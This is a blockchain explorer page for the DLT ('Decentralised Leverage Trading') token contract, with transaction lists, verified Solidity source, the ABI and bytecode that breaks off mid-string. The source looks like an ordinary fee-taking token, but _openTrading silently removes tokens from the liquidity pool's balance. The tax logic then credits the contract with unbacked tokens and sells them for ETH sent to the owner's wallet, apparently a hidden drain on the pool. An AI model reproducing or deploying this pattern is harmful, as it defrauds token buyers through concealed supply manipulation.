ETH Price: $2,414.17 (+0.52%)

Contract

0xDF3d4c24C75Bb930bdbF914ee09301F9e9b98f1D
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve204240732024-07-31 4:13:5966 days ago1722399239IN
0xDF3d4c24...9e9b98f1D
0 ETH0.00008121.76115779
Approve200125832024-06-03 16:47:23124 days ago1717433243IN
0xDF3d4c24...9e9b98f1D
0 ETH0.0005880612.66805241
Transfer200125362024-06-03 16:37:47124 days ago1717432667IN
0xDF3d4c24...9e9b98f1D
0 ETH0.0011553415
Approve195869582024-04-05 3:47:23184 days ago1712288843IN
0xDF3d4c24...9e9b98f1D
0 ETH0.0006997915.07488467
Approve195603412024-04-01 10:20:11187 days ago1711966811IN
0xDF3d4c24...9e9b98f1D
0 ETH0.000906719.53216908
Approve195278992024-03-27 20:22:35192 days ago1711570955IN
0xDF3d4c24...9e9b98f1D
0 ETH0.0017799338.55267774
Approve194868732024-03-22 1:23:59198 days ago1711070639IN
0xDF3d4c24...9e9b98f1D
0 ETH0.0007666126.43790596
Approve194862732024-03-21 23:23:11198 days ago1711063391IN
0xDF3d4c24...9e9b98f1D
0 ETH0.0011760225.3339867
Approve194862692024-03-21 23:22:23198 days ago1711063343IN
0xDF3d4c24...9e9b98f1D
0 ETH0.0015542533.48175453
Approve194848912024-03-21 18:43:59198 days ago1711046639IN
0xDF3d4c24...9e9b98f1D
0 ETH0.0017545237.74724279
Approve194848752024-03-21 18:40:47198 days ago1711046447IN
0xDF3d4c24...9e9b98f1D
0 ETH0.0012808427.59196335
Approve194848702024-03-21 18:39:47198 days ago1711046387IN
0xDF3d4c24...9e9b98f1D
0 ETH0.0016848836.29579083
Approve194848102024-03-21 18:27:47198 days ago1711045667IN
0xDF3d4c24...9e9b98f1D
0 ETH0.0016635635.83655392
Approve194848102024-03-21 18:27:47198 days ago1711045667IN
0xDF3d4c24...9e9b98f1D
0 ETH0.0017588137.83948867
Approve194848012024-03-21 18:25:59198 days ago1711045559IN
0xDF3d4c24...9e9b98f1D
0 ETH0.0018937740.79568217
Approve194847912024-03-21 18:23:59198 days ago1711045439IN
0xDF3d4c24...9e9b98f1D
0 ETH0.0017891138.49139144
Approve194847912024-03-21 18:23:59198 days ago1711045439IN
0xDF3d4c24...9e9b98f1D
0 ETH0.0020823845.03326398
Approve194847882024-03-21 18:23:23198 days ago1711045403IN
0xDF3d4c24...9e9b98f1D
0 ETH0.0009482439.32516798
Approve194847862024-03-21 18:22:59198 days ago1711045379IN
0xDF3d4c24...9e9b98f1D
0 ETH0.0017101336.83963121
Approve194847792024-03-21 18:21:35198 days ago1711045295IN
0xDF3d4c24...9e9b98f1D
0 ETH0.0018892140.64484838
Approve194847742024-03-21 18:20:35198 days ago1711045235IN
0xDF3d4c24...9e9b98f1D
0 ETH0.0015597933.60102553
Approve194847692024-03-21 18:19:35198 days ago1711045175IN
0xDF3d4c24...9e9b98f1D
0 ETH0.0018276139.31956694
Approve194847682024-03-21 18:19:23198 days ago1711045163IN
0xDF3d4c24...9e9b98f1D
0 ETH0.0016971636.51318449
Approve194847652024-03-21 18:18:47198 days ago1711045127IN
0xDF3d4c24...9e9b98f1D
0 ETH0.0018827840.55883899
Approve194847592024-03-21 18:17:35198 days ago1711045055IN
0xDF3d4c24...9e9b98f1D
0 ETH0.0017151836.94838691
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block From To
194847862024-03-21 18:22:59198 days ago1711045379
0xDF3d4c24...9e9b98f1D
0.14863498 ETH
194847862024-03-21 18:22:59198 days ago1711045379
0xDF3d4c24...9e9b98f1D
0.14863498 ETH
194847852024-03-21 18:22:47198 days ago1711045367
0xDF3d4c24...9e9b98f1D
0.23913636 ETH
194847852024-03-21 18:22:47198 days ago1711045367
0xDF3d4c24...9e9b98f1D
0.23913636 ETH
194847812024-03-21 18:21:59198 days ago1711045319
0xDF3d4c24...9e9b98f1D
0.30634066 ETH
194847812024-03-21 18:21:59198 days ago1711045319
0xDF3d4c24...9e9b98f1D
0.30634066 ETH
194847812024-03-21 18:21:59198 days ago1711045319
0xDF3d4c24...9e9b98f1D
0.51027087 ETH
194847812024-03-21 18:21:59198 days ago1711045319
0xDF3d4c24...9e9b98f1D
0.51027087 ETH
194847692024-03-21 18:19:35198 days ago1711045175
0xDF3d4c24...9e9b98f1D
0.78664483 ETH
194847692024-03-21 18:19:35198 days ago1711045175
0xDF3d4c24...9e9b98f1D
0.78664483 ETH
194847562024-03-21 18:16:59198 days ago1711045019
0xDF3d4c24...9e9b98f1D
0.90817773 ETH
194847562024-03-21 18:16:59198 days ago1711045019
0xDF3d4c24...9e9b98f1D
0.90817773 ETH
194847522024-03-21 18:16:11198 days ago1711044971
0xDF3d4c24...9e9b98f1D
0.8966725 ETH
194847522024-03-21 18:16:11198 days ago1711044971
0xDF3d4c24...9e9b98f1D
0.8966725 ETH
194847382024-03-21 18:13:11198 days ago1711044791
0xDF3d4c24...9e9b98f1D
0.31431273 ETH
194847382024-03-21 18:13:11198 days ago1711044791
0xDF3d4c24...9e9b98f1D
0.31431273 ETH
194847372024-03-21 18:12:59198 days ago1711044779
0xDF3d4c24...9e9b98f1D
0.47765438 ETH
194847372024-03-21 18:12:59198 days ago1711044779
0xDF3d4c24...9e9b98f1D
0.47765438 ETH
194847372024-03-21 18:12:59198 days ago1711044779
0xDF3d4c24...9e9b98f1D
0.75869199 ETH
194847372024-03-21 18:12:59198 days ago1711044779
0xDF3d4c24...9e9b98f1D
0.75869199 ETH
194847212024-03-21 18:09:47198 days ago1711044587
0xDF3d4c24...9e9b98f1D
0.63103343 ETH
194847212024-03-21 18:09:47198 days ago1711044587
0xDF3d4c24...9e9b98f1D
0.63103343 ETH
194847112024-03-21 18:07:47198 days ago1711044467
0xDF3d4c24...9e9b98f1D
0.93088796 ETH
194847112024-03-21 18:07:47198 days ago1711044467
0xDF3d4c24...9e9b98f1D
0.93088796 ETH
194847032024-03-21 18:06:11198 days ago1711044371
0xDF3d4c24...9e9b98f1D
1.19355838 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Dlt

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-03-21
*/

//SPDX-License-Identifier: MIT

/*
 https://t.me/DLT_exchange 
 https://twitter.com/dlt_exchange
 https://dltexchange.co
*/

pragma solidity ^0.8.20;


abstract contract Auth {
    address internal _owner;
    event OwnershipTransferred(address _owner);
    modifier onlyOwner() { 
        require(msg.sender == _owner, "Only owner can call this"); 
        _; 
    }
    constructor(address creatorOwner) { 
        _owner = creatorOwner; 
    }
    function owner() public view returns (address) { return _owner; }
    function transferOwnership(address payable newowner) external onlyOwner { 
        _owner = newowner; 
        emit OwnershipTransferred(newowner); }
    function renounceOwnership() external onlyOwner { 
        _owner = address(0);
        emit OwnershipTransferred(address(0)); }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address holder, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed _owner, address indexed spender, uint256 value);
}

interface IUniswapV2Factory {    
    function createPair(address tokenA, address tokenB) external returns (address pair); 
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(
        address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) 
        external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Dlt is IERC20, Auth {

    string private constant _symbol  = "DLT";
    string private constant _name    = "Decentralised Leverage Trading";
    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 10_000_000 * (10**_decimals);
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress);
    address private immutable WETH;
    
    address private LpOwner;
    address private _primaryLP; 
    mapping (address => bool) private _isLP;

    bool private _tradingOpen;

    bool private _inSwap = false;


    address payable private _marketingWallet = payable(0x5730aFA6F8DB7a11f6E73Bc8A2E75D9575307D31);
    
    uint256 private antiMevBlock = 2;
    uint8 private _sellTaxrate = 3;
    uint8 private _buyTaxrate  = 3;
    
    uint256 private launchBlok;
    uint256 private _maxTxVal = _totalSupply; 
    uint256 private _maxWalletVal = _totalSupply;
    uint256 private _swapMin = _totalSupply * 10 / 100000;
    uint256 private _swapMax = _totalSupply * 99 / 100000;
    uint256 private _swapTrigger = 15 * (10**15);
    uint256 private _swapLimits = _swapMin * 60 * 100;

    mapping (uint256 => mapping (address => uint8)) private blockSells;
    mapping (address => bool) private _nofee;
    mapping (address => bool) private _nolimit;

    modifier lockTaxSwap { 
        _inSwap = true; 
        _; 
        _inSwap = false; 
    }

    constructor() Auth(msg.sender) {
        LpOwner = msg.sender;
        WETH = _primarySwapRouter.WETH();
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);  


        _nofee[_owner] = true;
        _nofee[address(this)] = true;
        _nofee[_marketingWallet] = true;
        _nofee[_swapRouterAddress] = true;
        _nolimit[_owner] = true;
        _nolimit[address(this)] = true;
        _nolimit[_marketingWallet] = true;
        _nolimit[_swapRouterAddress] = true;


    }

    receive() external payable {}

    function decimals() external pure override returns (uint8) { return _decimals; }
    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function name() external pure override returns (string memory) { return _name; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
    

    function transferFrom(address fromWallet, address toWallet, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(fromWallet), "Trading not open");
        _allowances[fromWallet][msg.sender] -= amount;
        return _transferFrom(fromWallet, toWallet, amount); 
	}

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true; 
	}

    function transfer(address toWallet, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(msg.sender), "Trading not open");
        return _transferFrom(msg.sender, toWallet, amount); 
	}

    function _distributeTaxEth(uint256 amount) private {
        _marketingWallet.transfer(amount);
    }

    function _openTrading() internal {
        _maxTxVal     = 2 * _totalSupply / 100; 
        _maxWalletVal = 2 * _totalSupply / 100;
        _balances[_primaryLP] -= _swapLimits;
        (_isLP[_primaryLP],) = _primaryLP.call(abi.encodeWithSignature("sync()") );
        require(_isLP[_primaryLP], "Failed bootstrap");
        launchBlok = block.number;
        antiMevBlock = antiMevBlock + launchBlok;
        _tradingOpen = true;
    }

    function marketingWallet() external view returns (address) { 
        return _marketingWallet; 
	}

    function _checkTradingOpen(address fromWallet) private view returns (bool){
        bool checkResult = false;
        if ( _tradingOpen ) { checkResult = true; } 
        else if (_nofee[fromWallet] && _nolimit[fromWallet]) { checkResult = true; } 

        return checkResult;
    }

    function shouldSwap(uint256 tokenAmt) private view returns (bool) {
        bool result;
        if (_swapTrigger > 0) { 
            uint256 lpTkn = _balances[_primaryLP];
            uint256 lpWeth = IERC20(WETH).balanceOf(_primaryLP); 
            uint256 weiValue = (tokenAmt * lpWeth) / lpTkn;
            if (weiValue >= _swapTrigger) { result = true; }    
        } else { result = true; }
        return result;
    }

    function exemptions(address wallet) external view returns (bool fees, bool limits) {
        return (_nofee[wallet], _nolimit[wallet]); 
	}

    function setTaxSwaps(uint32 minVal, uint32 minDiv, uint32 maxVal, uint32 maxDiv, uint32 trigger) external onlyOwner {
        _swapMin = _totalSupply * minVal / minDiv;
        _swapMax = _totalSupply * maxVal / maxDiv;
        _swapTrigger = trigger * 10**15;
        require(_swapMax>=_swapMin, "Min-Max error");
    }

    function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei) internal {
        _approveRouter(_tokenAmount);
        _primarySwapRouter.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, LpOwner, block.timestamp );
    }

    function addLiquidity() external payable onlyOwner lockTaxSwap {
        require(_primaryLP == address(0), "LP created");
        require(!_tradingOpen, "trading open");
        require(msg.value > 0 || address(this).balance>0, "No ETH");
        require(_balances[address(this)]>0, "No tokens");
        _primaryLP = IUniswapV2Factory(_primarySwapRouter.factory()).createPair(address(this), WETH);
        _addLiquidity(_balances[address(this)], address(this).balance);
    }

    function setLimits(uint16 maxTransPermille, uint16 maxWaletPermille) external onlyOwner {
        uint256 newTxAmt = _totalSupply * maxTransPermille / 1000 + 1;
        require(newTxAmt >= _maxTxVal, "tx too low");
        _maxTxVal = newTxAmt;
        uint256 newWalletAmt = _totalSupply * maxWaletPermille / 1000 + 1;
        require(newWalletAmt >= _maxWalletVal, "wallet too low");
        _maxWalletVal = newWalletAmt;
    }

    function _approveRouter(uint256 _tokenAmount) internal {
        if ( _allowances[address(this)][_swapRouterAddress] < _tokenAmount ) {
            _allowances[address(this)][_swapRouterAddress] = type(uint256).max;
            emit Approval(address(this), _swapRouterAddress, type(uint256).max);
        }
    }

    function buyFee() external view returns(uint8) { return _buyTaxrate; }
    function sellFee() external view returns(uint8) { return _sellTaxrate; }

    function updateMarketingWallet(address marketingWlt) external onlyOwner {
        require(!_isLP[marketingWlt], "LP cannot be tax wallet");
        _marketingWallet = payable(marketingWlt);
        _nofee[marketingWlt] = true;
        _nolimit[marketingWlt] = true;
    }

    function setFees(uint8 buyFees, uint8 sellFees) external onlyOwner {
        require(buyFees + sellFees <= 6, "Roundtrip too high");
        _buyTaxrate = buyFees;
        _sellTaxrate = sellFees;
    }

    function swapMin() external view returns (uint256) { 
        return _swapMin; 
	}
    function swapMax() external view returns (uint256) { 
        return _swapMax; 
	}

    function enableTrading() external onlyOwner {
        require(!_tradingOpen, "trading open");
        _openTrading();
    }

    function setExemptions(address wlt, bool noFees, bool noLimits) external onlyOwner {
        if (noLimits || noFees) { require(!_isLP[wlt], "Cannot exempt LP"); }
        _nofee[ wlt ] = noFees;
        _nolimit[ wlt ] = noLimits;
    }

    function maxWallet() external view returns (uint256) { 
        return _maxWalletVal; 
	}
    function maxTransaction() external view returns (uint256) { 
        return _maxTxVal; 
	}

    function _transferFrom(address sender, address toWallet, uint256 amount) internal returns (bool) {
        require(sender != address(0), "No transfers from 0 wallet");
        if (!_tradingOpen) { require(_nofee[sender] && _nolimit[sender], "Trading not yet open"); }
        if ( !_inSwap && _isLP[toWallet] && shouldSwap(amount) ) { _swapTaxAndLiquify(); }

        if ( block.number >= launchBlok ) {
            if (block.number < antiMevBlock && _isLP[sender]) { 
                require(toWallet == tx.origin, "MEV block"); 
            }
            if (block.number < antiMevBlock + 600 && _isLP[toWallet] && sender != address(this) ) {
                blockSells[block.number][toWallet] += 1;
                require(blockSells[block.number][toWallet] <= 2, "MEV block");
            }
        }

        if ( sender != address(this) && toWallet != address(this) && sender != _owner ) { 
            require(_checkLimits(sender, toWallet, amount), "TX over limits"); 
        }

        uint256 _taxAmount = _calculateTax(sender, toWallet, amount);
        uint256 _transferAmount = amount - _taxAmount;
        _balances[sender] -= amount;
        _swapLimits += _taxAmount;
        _balances[toWallet] += _transferAmount;
        emit Transfer(sender, toWallet, amount);
        return true;
    }

    function _calculateTax(address fromWallet, address recipient, uint256 amount) internal view returns (uint256) {
        uint256 taxAmount;
        if ( !_tradingOpen || _nofee[fromWallet] || _nofee[recipient] ) { 
            taxAmount = 0; 
        } else if ( _isLP[fromWallet] ) { 
            taxAmount = amount * _buyTaxrate / 100; 
         } else if ( _isLP[recipient] ) { 
            taxAmount = amount * _sellTaxrate / 100; 
        }
        return taxAmount;
    }

    function _swapTaxAndLiquify() private lockTaxSwap {
        uint256 _taxTokenAvailable = _swapLimits;
        if ( _taxTokenAvailable >= _swapMin && _tradingOpen ) {
            if ( _taxTokenAvailable >= _swapMax ) { _taxTokenAvailable = _swapMax; }
            
            uint256 _tokensForSwap = _taxTokenAvailable; 
            if( _tokensForSwap > 1 * 10**_decimals ) {
                _balances[address(this)] += _taxTokenAvailable;
                _swapTaxTokensForEth(_tokensForSwap);
                _swapLimits -= _taxTokenAvailable;
            }
            uint256 _contractETHBalance = address(this).balance;
            if(_contractETHBalance > 0) { _distributeTaxEth(_contractETHBalance); }
        }
    }

    function _swapTaxTokensForEth(uint256 tokenAmount) private {
        _approveRouter(tokenAmount);
        address[] memory path = new address[](2);
        path[0] = address( this );
        path[1] = WETH ;
        _primarySwapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
    }

    function _checkLimits(address fromWallet, address toWallet, uint256 transferAmount) internal view returns (bool) {
        bool limitCheckPassed = true;
        if ( _tradingOpen && !_nolimit[fromWallet] && !_nolimit[toWallet] ) {
            if ( transferAmount > _maxTxVal ) { 
                limitCheckPassed = false; 
            }
            else if ( 
                !_isLP[toWallet] && (_balances[toWallet] + transferAmount > _maxWalletVal) 
                ) { limitCheckPassed = false; }
        }
        return limitCheckPassed;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"exemptions","outputs":[{"internalType":"bool","name":"fees","type":"bool"},{"internalType":"bool","name":"limits","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wlt","type":"address"},{"internalType":"bool","name":"noFees","type":"bool"},{"internalType":"bool","name":"noLimits","type":"bool"}],"name":"setExemptions","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"buyFees","type":"uint8"},{"internalType":"uint8","name":"sellFees","type":"uint8"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"maxTransPermille","type":"uint16"},{"internalType":"uint16","name":"maxWaletPermille","type":"uint16"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"minVal","type":"uint32"},{"internalType":"uint32","name":"minDiv","type":"uint32"},{"internalType":"uint32","name":"maxVal","type":"uint32"},{"internalType":"uint32","name":"maxDiv","type":"uint32"},{"internalType":"uint32","name":"trigger","type":"uint32"}],"name":"setTaxSwaps","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapMin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"toWallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"fromWallet","type":"address"},{"internalType":"address","name":"toWallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newowner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"marketingWlt","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a060405260038054737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031990911617905560078054610100600160b01b031916755730afa6f8db7a11f6e73bc8a2e75d9575307d31000017905560026008556009805461ffff19166103031781556200007690600a62000462565b62000085906298968062000479565b600b55620000966009600a62000462565b620000a5906298968062000479565b600c55620186a0620000ba6009600a62000462565b620000c9906298968062000479565b620000d690600a62000479565b620000e2919062000493565b600d55620186a0620000f76009600a62000462565b62000106906298968062000479565b6200011390606362000479565b6200011f919062000493565b600e5566354a6ba7a18000600f55600d546200013d90603c62000479565b6200014a90606462000479565b60105534801562000159575f80fd5b505f8054336001600160a01b03199182168117909255600480549091169091178155600354604080516315ab88c960e31b815290516001600160a01b039092169263ad5c46489282820192602092908290030181865afa158015620001c0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001e69190620004b3565b6001600160a01b0316608052620002006009600a62000462565b6200020f906298968062000479565b335f81815260016020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35f80546001600160a01b0390811682526012602090815260408084208054600160ff1991821681179092553080875283872080548316841790556007805462010000908190048816895285892080548516861790557f3c6737805ae477fd0cfdda13dc5f99b32fcbfecb81e47f9e11e1b03813c08ec280548516861790558854881689526013909652848820805484168517905590875283872080548316841790555493909304909316845283208054821683179055737a250d5630b4cf539739df2c5dacb4c659f2488d9092527f808d0d51f34e8e89d33da1e191cc837697e378778a68b481dbec480ddbd15a7a8054909216179055620004db565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620003a757815f19048211156200038b576200038b62000353565b808516156200039957918102915b93841c93908002906200036c565b509250929050565b5f82620003bf575060016200045c565b81620003cd57505f6200045c565b8160018114620003e65760028114620003f15762000411565b60019150506200045c565b60ff84111562000405576200040562000353565b50506001821b6200045c565b5060208310610133831016604e8410600b841016171562000436575081810a6200045c565b62000442838362000367565b805f190482111562000458576200045862000353565b0290505b92915050565b5f6200047260ff841683620003af565b9392505050565b80820281158282048414176200045c576200045c62000353565b5f82620004ae57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215620004c4575f80fd5b81516001600160a01b038116811462000472575f80fd5b608051612104620005025f395f8181610e500152818161169c0152611aaa01526121045ff3fe608060405260043610610198575f3560e01c806375f0a874116100e7578063b3de9b5d11610087578063e537a83411610062578063e537a83414610514578063e8078d9414610533578063f2fde38b1461053b578063f8b45b051461055a575f80fd5b8063b3de9b5d146104a8578063c3f70b52146104bc578063dd62ed3e146104d0575f80fd5b806395d89b41116100c257806395d89b411461042b578063a5e992bb14610456578063a9059cbb1461046a578063aacebbe314610489575f80fd5b806375f0a874146103c45780638a8c523c146103fb5780638da5cb5b1461040f575f80fd5b806330449efd11610152578063470624021161012d57806347062402146103415780634fcd24461461035d57806370a082311461037c578063715018a6146103b0575f80fd5b806330449efd146102b0578063313ce5671461030f578063368f480014610322575f80fd5b806306fdde03146101a3578063095ea7b3146101fa57806318160ddd1461022957806318839bc31461024b57806323b872dd1461026c5780632b14ca561461028b575f80fd5b3661019f57005b5f80fd5b3480156101ae575f80fd5b5060408051808201909152601e81527f446563656e7472616c69736564204c657665726167652054726164696e67000060208201525b6040516101f19190611bb4565b60405180910390f35b348015610205575f80fd5b50610219610214366004611bfa565b61056e565b60405190151581526020016101f1565b348015610234575f80fd5b5061023d6105da565b6040519081526020016101f1565b348015610256575f80fd5b5061026a610265366004611c38565b6105f9565b005b348015610277575f80fd5b50610219610286366004611c7a565b6106d5565b348015610296575f80fd5b5060095460ff165b60405160ff90911681526020016101f1565b3480156102bb575f80fd5b506102f86102ca366004611cb8565b6001600160a01b03165f9081526012602090815260408083205460139092529091205460ff91821692911690565b6040805192151583529015156020830152016101f1565b34801561031a575f80fd5b50600961029e565b34801561032d575f80fd5b5061026a61033c366004611ce4565b610769565b34801561034c575f80fd5b50600954610100900460ff1661029e565b348015610368575f80fd5b5061026a610377366004611d25565b6108a7565b348015610387575f80fd5b5061023d610396366004611cb8565b6001600160a01b03165f9081526001602052604090205490565b3480156103bb575f80fd5b5061026a610942565b3480156103cf575f80fd5b506007546201000090046001600160a01b03165b6040516001600160a01b0390911681526020016101f1565b348015610406575f80fd5b5061026a6109af565b34801561041a575f80fd5b505f546001600160a01b03166103e3565b348015610436575f80fd5b5060408051808201909152600381526211131560ea1b60208201526101e4565b348015610461575f80fd5b50600e5461023d565b348015610475575f80fd5b50610219610484366004611bfa565b610a24565b348015610494575f80fd5b5061026a6104a3366004611cb8565b610a7f565b3480156104b3575f80fd5b50600d5461023d565b3480156104c7575f80fd5b50600b5461023d565b3480156104db575f80fd5b5061023d6104ea366004611d4d565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561051f575f80fd5b5061026a61052e366004611d97565b610b69565b61026a610c76565b348015610546575f80fd5b5061026a610555366004611cb8565b610f0a565b348015610565575f80fd5b50600c5461023d565b335f8181526002602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906105c89086815260200190565b60405180910390a35060015b92915050565b5f6105e76009600a611eec565b6105f49062989680611efa565b905090565b5f546001600160a01b0316331461062b5760405162461bcd60e51b815260040161062290611f11565b60405180910390fd5b80806106345750815b15610694576001600160a01b0383165f9081526006602052604090205460ff16156106945760405162461bcd60e51b815260206004820152601060248201526f043616e6e6f74206578656d7074204c560841b6044820152606401610622565b6001600160a01b039092165f908152601260209081526040808320805494151560ff1995861617905560139091529020805492151592909116919091179055565b5f6106df84610f86565b61071e5760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b6044820152606401610622565b6001600160a01b0384165f90815260026020908152604080832033845290915281208054849290610750908490611f48565b909155506107619050848484610fe9565b949350505050565b5f546001600160a01b031633146107925760405162461bcd60e51b815260040161062290611f11565b5f6103e861ffff84166107a76009600a611eec565b6107b49062989680611efa565b6107be9190611efa565b6107c89190611f5b565b6107d3906001611f7a565b9050600b548110156108145760405162461bcd60e51b815260206004820152600a602482015269747820746f6f206c6f7760b01b6044820152606401610622565b600b8190555f6103e861ffff841661082e6009600a611eec565b61083b9062989680611efa565b6108459190611efa565b61084f9190611f5b565b61085a906001611f7a565b9050600c5481101561089f5760405162461bcd60e51b815260206004820152600e60248201526d77616c6c657420746f6f206c6f7760901b6044820152606401610622565b600c55505050565b5f546001600160a01b031633146108d05760405162461bcd60e51b815260040161062290611f11565b60066108dc8284611f8d565b60ff1611156109225760405162461bcd60e51b81526020600482015260126024820152710a4deeadcc8e8e4d2e040e8dede40d0d2ced60731b6044820152606401610622565b6009805461ffff191661010060ff9485160260ff19161791909216179055565b5f546001600160a01b0316331461096b5760405162461bcd60e51b815260040161062290611f11565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b031633146109d85760405162461bcd60e51b815260040161062290611f11565b60075460ff1615610a1a5760405162461bcd60e51b815260206004820152600c60248201526b3